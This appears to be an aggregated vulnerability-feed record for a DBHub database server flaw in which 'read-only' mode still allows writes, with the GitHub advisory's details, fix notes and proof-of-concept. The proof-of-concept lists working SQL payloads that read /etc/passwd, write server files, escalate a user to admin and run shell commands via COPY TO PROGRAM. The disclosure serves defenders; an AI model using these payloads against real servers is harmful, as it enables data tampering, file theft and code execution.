{"id":"GHSA-mwwr-p57h-56pf","revision":null,"records":[{"revision":"730268b0fe644055ab12f937607d3d75","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-61788","aliases":[],"title":"@bytebase/dbhub's read-only mode does not prevent database writes","description":"DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`. Version 0.22.6 patches the issue.","state":0,"publishedAt":"2026-09-24T17:37:40.409+00:00","modifiedAt":"2026-09-29T03:00:45.367+00:00","affected":[{"ecosystem":"Vendor product","name":"dbhub","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"bytebase\",\n                    \"product\": \"dbhub\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.22.6\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/bytebase/dbhub/security/advisories/GHSA-mwwr-p57h-56pf"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-61788","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-61788","identifiers":["CVE-2026-61788"]},"retained":false,"historicalAffected":[]},{"revision":"145dcf6da453461d85158b504b35ed4e","observedAt":"2026-11-11T15:03:10.074+00:00","statement":{"source":"euvd","id":"EUVD-2026-86326","aliases":["CVE-2026-61788","GHSA-mwwr-p57h-56pf"],"title":"DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set …","description":"DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`. Version 0.22.6 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":null}],"references":["https://github.com/bytebase/dbhub/security/advisories/GHSA-mwwr-p57h-56pf"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-86326","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 24, 2026, 5:37:40 PM","dateUpdated":"Sep 29, 2026, 3:00:45 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-86326","identifiers":["EUVD-2026-86326","CVE-2026-61788","GHSA-mwwr-p57h-56pf"]},"retained":false,"historicalAffected":[]},{"revision":"9a43972131d1419e806a5145c8170c96","observedAt":"2026-10-25T14:19:28.838+00:00","statement":{"source":"nvd","id":"CVE-2026-61788","aliases":[],"title":"DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set …","description":"DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`. Version 0.22.6 patches the issue.","state":0,"publishedAt":"2026-09-24T18:17:16.837+00:00","modifiedAt":"2026-09-30T19:57:08.043+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/bytebase/dbhub/security/advisories/GHSA-mwwr-p57h-56pf"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61788","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-184","CWE-636","CWE-863"],"productCriteria":[],"sourceDates":{"published":"2026-09-24T18:17:16.837","lastModified":"2026-09-30T19:57:08.043"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-61788","identifiers":["CVE-2026-61788"]},"retained":false,"historicalAffected":[]},{"revision":"ae0cd5c34fc041b8866efdbf85e8b5cc","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-mwwr-p57h-56pf","aliases":["CVE-2026-61788"],"title":"@bytebase/dbhub's read-only mode does not prevent database writes","description":"### Summary\n \nSetting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`.\n \n### Details\n \nTwo problems combine.\n \n**1. The database-level read-only control is dead code.**\n \n`PostgresConnector.connect()` only enables it when `config.readonly` is truthy (`src/connectors/postgres/index.ts:175-177`):\n \n```ts\n// SDK-level readonly enforcement: Set default_transaction_read_only for the entire connection\nif (config?.readonly) {\n  poolConfig.options = (poolConfig.options || '') + ' -c default_transaction_read_only=on';\n}\n```\n \nSQLite is gated the same way (`src/connectors/sqlite/index.ts:192`). `ConnectorConfig.readonly` is assigned in exactly one place, and only from `source.readonly` (`src/connectors/manager.ts:236-238`):\n \n```ts\n// Pass readonly flag for SDK-level enforcement (PostgreSQL, SQLite)\nif (source.readonly !== undefined) {\n  config.readonly = source.readonly;\n}\n```\n \n`source.readonly` can never have a value:\n \n- `SourceConfig` has no `readonly` field (`src/types/config.ts:49-62`). `readonly` exists only on the per-tool `ExecuteSqlToolConfig` / `CustomToolConfig`.\n- The TOML loader rejects `readonly` at source level (`src/config/toml-loader.ts:476-481`: \"readonly must be configured per-tool, not per-source\").\n- The `--readonly` CLI flag was removed and now hard-exits (`src/config/env.ts:30`).\n \nSo the `if (source.readonly !== undefined)` check is always false, `config.readonly` stays unset, and DB-level read-only is never applied in any configuration the loader accepts. The per-tool `readonly` only ever reaches the classifier; `executeSQL()` ignores `options.readonly` and runs multi-statement batches in a plain `BEGIN` rather than `BEGIN READ ONLY` (`src/connectors/postgres/index.ts:598-666`).\n \n(The docs already describe the classifier as \"a safety net... not a security boundary.\" This report is about the DB-level control above, which the code clearly means to apply — see the \"SDK-level readonly enforcement\" comments — but silently fails to wire up.)\n \n**2. The classifier only checks the leading keyword.**\n \n`areAllStatementsReadOnly()` (`src/tools/execute-sql.ts:24-27`) splits on `;` and runs `isReadOnlySQL()` (`src/utils/allowed-keywords.ts`) on each statement. `isReadOnlySQL` matches the first word against an allow-list, scans for mutating keywords only inside `WITH`, blocks `SELECT ... INTO`, and special-cases `EXPLAIN ANALYZE`. It never looks at the functions a statement calls. These all classify as read-only:\n \n- `SELECT setval('seq', n)` / `nextval('seq')` — sequence write. Needs UPDATE (setval) or USAGE/UPDATE (nextval) on the sequence, which read roles normally hold.\n- `SELECT lo_export(lo, '/path')` — writes a file on the server. Needs superuser or `pg_write_server_files`.\n- `SELECT pg_read_file('/etc/passwd')` — reads any file the server user can read. Needs superuser or `pg_read_server_files`.\n- `SELECT dblink_exec('dbname=...', 'UPDATE ...')` — opens a fresh connection (not read-only) and runs writes/DDL. Needs the `dblink` extension.\n- `SELECT dblink_exec('dbname=...', $$COPY (SELECT 1) TO PROGRAM 'id'$$)` — command execution. Needs superuser or `pg_execute_server_program`, plus `dblink`.\n \nThe read-only test suite covers none of these.\n \n### PoC\n \nPoint DBHub at a PostgreSQL source with read-only set on the tool:\n \n```toml\n[[sources]]\nid = \"default\"\ndsn = \"postgres://app:app@localhost:5432/app\"\n \n[[tools]]\nname = \"execute_sql\"\nsource = \"default\"\nreadonly = true\n```\n \nStart it and call `execute_sql`:\n \n```\nnpx @bytebase/dbhub@latest --transport http --port 8080\n```\n \nWith any role, a write that should be blocked goes through — the sequence value changes and the call returns success:\n \n```sql\nSELECT setval('users_id_seq', 1);\n```\n \nWith a privileged role, the rest are also accepted and executed:\n \n```sql\nSELECT lo_export(lo_from_bytea(0, decode('48656c6c6f0a','hex')), '/tmp/dbhub_poc');   -- writes /tmp/dbhub_poc\nSELECT pg_read_file('/etc/passwd');                                                  -- reads a host file\nSELECT dblink_exec('dbname=app', 'UPDATE users SET admin=true');                     -- write via a new connection\nSELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$);  -- runs a shell command\n```\n \nThe decision can be reproduced without a database by running the project's own `isReadOnlySQL` + `splitSQLStatements` (with `areAllStatementsReadOnly` copied from `src/tools/execute-sql.ts`) over the strings above: direct INSERT/UPDATE/DROP, data-modifying CTEs, `SELECT ... INTO`, and `EXPLAIN ANALYZE INSERT` are all rejected, while every function-based statement above returns read-only = true.\n \n### Impact\n \nAffects all released versions up to and including 0.22.2, on both stdio and HTTP transports, for PostgreSQL and SQLite. `readonly = true` does not stop writes. Anyone who can reach the `execute_sql` input can modify data under read-only mode — a network caller of the unauthenticated `/mcp` endpoint, a malicious MCP client, or untrusted content reaching an agent wired to DBHub through prompt injection. When the configured database role is privileged (common, since DBHub is often pointed at an existing admin DSN), the same access yields arbitrary file write on the server, arbitrary host-file read, and remote code execution on the database host.\n \n\n---\n\n### Maintainer note (consolidation)\n\nTracking this as the canonical advisory for \"read-only mode does not prevent database writes.\" The following reports describe the same root cause (read-only enforced only by the keyword classifier; the connection-level backstop was never wired) and are closed as duplicates:\n\n- **GHSA-7rgf-cwgq-c2qc** — same unwired driver-level backstop, plus the SQLite write-effecting `PRAGMA` gap.\n- **GHSA-m689-287g-5xpc** — SQLite assignment-form `PRAGMA` write bypass (a subset of the above).\n\nPreserving the SQLite-specific remediation from those reports: in `isReadOnlySQL`, the assignment form `PRAGMA x = ...` must be classified as a write (only the query/introspection form is read-only), and SQLite read-only executions are additionally guarded at the engine via `PRAGMA query_only=ON`.\n\nGHSA-j656-3hf2-fvjc (MySQL/MariaDB `--` comment parsing + `multipleStatements`) is a distinct root cause and is tracked separately.\n\nFix: https://github.com/bytebase/dbhub/pull/342 — adds engine-level read-only enforcement per tool (Postgres `BEGIN READ ONLY`, SQLite `query_only`, MySQL/MariaDB `START TRANSACTION READ ONLY`) plus the classifier hardening above.","state":0,"publishedAt":"2026-09-24T19:37:59+00:00","modifiedAt":"2026-09-24T19:45:05.4976762+00:00","affected":[{"ecosystem":"npm","name":"@bytebase/dbhub","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.22.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/bytebase/dbhub/security/advisories/GHSA-mwwr-p57h-56pf","https://nvd.nist.gov/vuln/detail/CVE-2026-61788","https://github.com/bytebase/dbhub/pull/342","https://github.com/bytebase/dbhub/commit/872bb338f7d31f6afe517a076ac3e3edafaaaf08","https://github.com/bytebase/dbhub","https://github.com/bytebase/dbhub/releases/tag/v0.22.6"],"sourceUrl":"https://github.com/advisories/GHSA-mwwr-p57h-56pf","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-mwwr-p57h-56pf","identifiers":["GHSA-mwwr-p57h-56pf","CVE-2026-61788"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0427292+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0427301+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-c8f0a5eb97b437649f83f6fe632ec849fcb249052407d33e475e82c88b318dfb","complete":true,"records":424535,"lastAttemptAt":"2026-11-12T02:56:45.3610802+00:00","lastSuccessAt":"2026-11-12T02:56:45.341976+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.3610802+00:00","snapshotPublishedAt":"2026-11-12T02:25:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-3bce114846604d92838a2dc302341627","complete":false,"records":13760,"lastAttemptAt":"2026-11-12T03:06:53.8778262+00:00","lastSuccessAt":"2026-11-12T03:06:52.8+00:00","error":"754 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T03:06:52.8+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13040,"expectedIdentifiers":13813,"failedIdentifiers":754},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T02:56:45.8822264+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T02:56:45.8822264+00:00","lastSuccessAt":"2026-11-12T02:56:46.0434469+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:46.0434471+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-729a419ccc5f41d8a3330c7c6e8b6a5e","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T02:57:11.7691852+00:00","lastSuccessAt":"2026-11-12T02:57:11.766+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:57:11.766+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T02:56:45.7363501+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.7363501+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T02:56:45.5271491+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.5271491+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T02:56:45.8443473+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.8443473+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-12T02:56:45.6384803+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-12T02:56:45.6384803+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}